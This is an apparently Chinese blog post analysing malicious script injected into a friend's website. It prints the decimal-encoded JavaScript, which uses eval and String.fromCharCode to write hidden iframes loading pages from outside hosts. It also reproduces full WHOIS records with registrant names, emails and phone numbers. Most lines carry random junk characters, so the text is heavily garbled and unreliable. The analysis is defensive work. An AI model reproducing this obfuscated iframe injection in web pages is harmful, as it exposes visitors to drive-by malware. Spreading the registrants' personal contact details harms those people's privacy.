首发在我的博客里面，
2:5Go RSfB9)3D http://www.areway.cn/?p=175 hFMJDGCw>Q ke2zxX2 f U/}("i![Dy 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
_ *l+ze[a >H r&F
nh+ <script>t=’60,105,102,114,97,109,101,
lJHU 1
gu 32,115,114,99,61,104,116,116,112,58,47,47,
@\*`rl] 102,114,101,101,46,117,45,117,117,117,46,99,
.ZO G,h+8 110,47,101,114,114,111,114,46,104,116,109,
PJfADB7Y 32,119,105,100,116,104,61,49,48,48,32,104,
Y0z)5),[U: 101,105,103,104,116,61,48,62,60,47,105,102,
X E#a# 114,97,109,101,62′;
plNoI1st t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
8}M-b6R V MnL o{G] <script>t=’60,105,102,114,97,109,101,32,115,
fA$2jbGW 114,99,61,104,116,116,112,58,47,47,102,114,
ltWEA 101,101,46,117,45,117,117,117,46,99,110,47,
L`2(u!i J 101,114,114,111,114,46,104,116,109,32,119,
b 6%[?k 105,100,116,104,61,49,48,48,32,104,101,105,
vRhI:E)So# 103,104,116,61,48,62,60,47,105,102,114,97,
SO|!x}GfI 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
D6I-:{ws document.write(t);</script>
m| uVmg!* HfOaJ'+e< <html xmlns=”
YD9| 2S!G http://www.w3.org/1999/xhtml 7v']wA r] “>
Wq2 Bo*[* <head>
~|Nj+A <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
_^Z
v[P <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
2 S <title>首页 - 爱生活家庭网
iFOa9!_0n awU! 3)B 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
(^HU| 转换字符串后的大概内容是（谁点击后果自付）：
~XeWN^l(Ov <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
<)$e*HrI XQ'$J_hC 查询玉米u-uuu.cn的详细信息：
,Gi%D3lA Domain Name: u-uuu.cn
\? n<UsI ROID: 20070901s10001s64972306-cn
< @S'vcO Domain Status: ok
)H1\4LeP Registrant Organization: 王雷
$RA+StF!] Registrant Name: 王雷
:Z[|B(U Administrative Email:
czlovexs@126.com h
wi!C} Sponsoring Registrar: 北京万网志成科技有限公司
Gh5 3 Pne Name Server:ns.yovole.com
] ."t Name Server:ns1.yovole.com
x ' v-]C(@ Registration Date: 2007-09-01 17:54
2!)|B
;y Expiration Date: 2008-09-01 17:54
g#iRkz%l)& 最后PING了一下地址 都没有什么….
Vl^p3 f[ 3^Q;On| 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
{_G_YL[ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
6fm oI K{ <script language=”javascript” src=”
F! [Gj%~I
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 8kf5u#,' >
6Z@?W 这个玉米应该有可能是木马作者的：
l3Qt_I)L foafau.info的详细信息：
mIe 5 {.m# Access to INFO WHOIS information is provided to assist persons in
dD bH+kqO determining the contents of a domain name registration record in the
N0pA , & Afilias registry database. The data in this record is provided by
A I v Afilias Limited for informational purposes only, and Afilias does not
Ow N~-).%- guarantee its accuracy. This service is intended only for query-based
8 \"A-+_Q access. You agree that you will use this data only for lawful purposes
I]z4}#+cX and that, under no circumstances will you use this data to: (a) allow,
hg7_ZjO enable, or otherwise support the transmission by e-mail, telephone, or
oe*fgk/o9 facsimile of mass unsolicited, commercial advertising or solicitations
3:aj8F2 to entities other than the data recipient’s own existing customers; or
QQ/9ZI5 (b) enable high volume, automated, electronic processes that send
( kVxa8 0 queries or data to the systems of Registry Operator, a Registrar, or
.wO-2h{Q Afilias except as reasonably necessary to register domain names or
! GJT-[ modify existing registrations. All rights reserved. Afilias reserves
s-4qK( ml- the right to modify these terms at any time. By submitting this query,
>l b9 j> you agree to abide by this policy.
W %1 /: _ Domain ID:D22418703-LRMS
k?}y@$[) Domain Name:FOAFAU.INFO
l(pP*2 Created On:20-Nov-2007 16:05:42 UTC
Obx!>mI^6 Last Updated On:20-Nov-2007 16:05:44 UTC
@rv)J[7Y& Expiration Date:20-Nov-2008 16:05:42 UTC
q% /\ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
?BX}0RWMh7 Status:CLIENT DELETE PROHIBITED
m f\tMik< Status:CLIENT RENEW PROHIBITED
\Ez&?yb/ Status:CLIENT TRANSFER PROHIBITED
'=+gwe M Status:CLIENT UPDATE PROHIBITED
M4n0GWHLy Status:TRANSFER PROHIBITED
gg.lajX Registrant ID:GODA-040110615
U]&/F{3
im Registrant Name:liu hong
<M, <|Y*) Registrant Organization:
?L| Ai\| Registrant Street1:beijing
F@KtRUxE Registrant Street2:
!<<wI '8 Registrant Street3:
C {G;G@/7 Registrant City:beijing
Byh !Snoe Registrant State/Province:
dG!) < Registrant Postal Code:100000
db g%n 0h Registrant Country:CN
e**5_L Registrant Phone:+86.860108888777
_Qq lOc9 Registrant Phone Ext.:
v\g1 w&PN Registrant FAX:
EeQ2 \'t Registrant FAX Ext.:
CHVAs9mrNB Registrant Email:bbbshiji@163.com
[4Q;5 'Dj Admin ID:GODA-240110615
OGcW]i Admin Name:liu hong
d t Br#Te Admin Organization:
5S ) N&% Admin Street1:beijing
zCS& w
~ Admin Street2:
F9>"1 Admin Street3:
4 ,&f#=Y Admin City:beijing
1*f/Y9 Z Admin State/Province:
?jsgBol Admin Postal Code:100000
JF'<"" Admin Country:CN
PB) vE Admin Phone:+86.860108888777
/vPr^Wv Admin Phone Ext.:
^SbxClUfw! Admin FAX:
s)+] pxV0- Admin FAX Ext.:
e35 ")z~ Admin Email:bbbshiji@163.com
%NcBq3 Billing ID:GODA-340110615
braI MIQ` Billing Name:liu hong
FzF#V=9lP Billing Organization:
wjTW{Bg~G Billing Street1:beijing
[sK'jQo-[1 Billing Street2:
(ylZ[M&B: Billing Street3:
iM$iZ;Tp Billing City:beijing
+fHqGZ] Billing State/Province:
vcZ"4% w Billing Postal Code:100000
Y=/;7T Billing Country:CN
I5]58Ohx Billing Phone:+86.860108888777
Qnx?5R-}ZU Billing Phone Ext.:
xiVbVr#[ Billing FAX:
;<=z^1X9 Billing FAX Ext.:
1I%niQv5t Billing Email:bbbshiji@163.com
d>0 j!+s Tech ID:GODA-140110615
HP=5 a. Tech Name:liu hong
YXg^t$ Tech Organization:
)"g @"LJ= Tech Street1:beijing
?z3|^oU~d Tech Street2:
(S_1C, Tech Street3:
t1p[!53( Tech City:beijing
CQA^"Ll Tech State/Province:
Hn]6re Tech Postal Code:100000
ItE)h[86 Tech Country:CN
D 7 7$aCt Tech Phone:+86.860108888777
P )[QC Tech Phone Ext.:
^vZu[ m Tech FAX:
(hIe!"s * Tech FAX Ext.:
>}r
1A Tech Email:bbbshiji@163.com
g@m__ Name Server:NS27.DOMAINCONTROL.COM
@2eH;?uO Name Server:NS28.DOMAINCONTROL.COM
/S9n!H:MT Name Server:
0xV[C4E[6 Name Server:
?SX0e(+}} Name Server:
b~?3HY:t~K Name Server:
w ; PV
&M Name Server:
"uBr]N: Name Server:
1#x@ Name Server:
"R[6Q ^vw Name Server:
-];Hb'M.!e Name Server:
^ lG^. Name Server:
z e`qf% Name Server:
0Hr)h{!F" Oe0dC9H 接着下载每个文件里面的代码：
( Li)@Cn% 一步一步看..
OQ _wsAA 
3Zqt IQY` 
<7oZV^nd * 
8u Z4[ 
C7!=LiK} 
;_1 > nXh 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
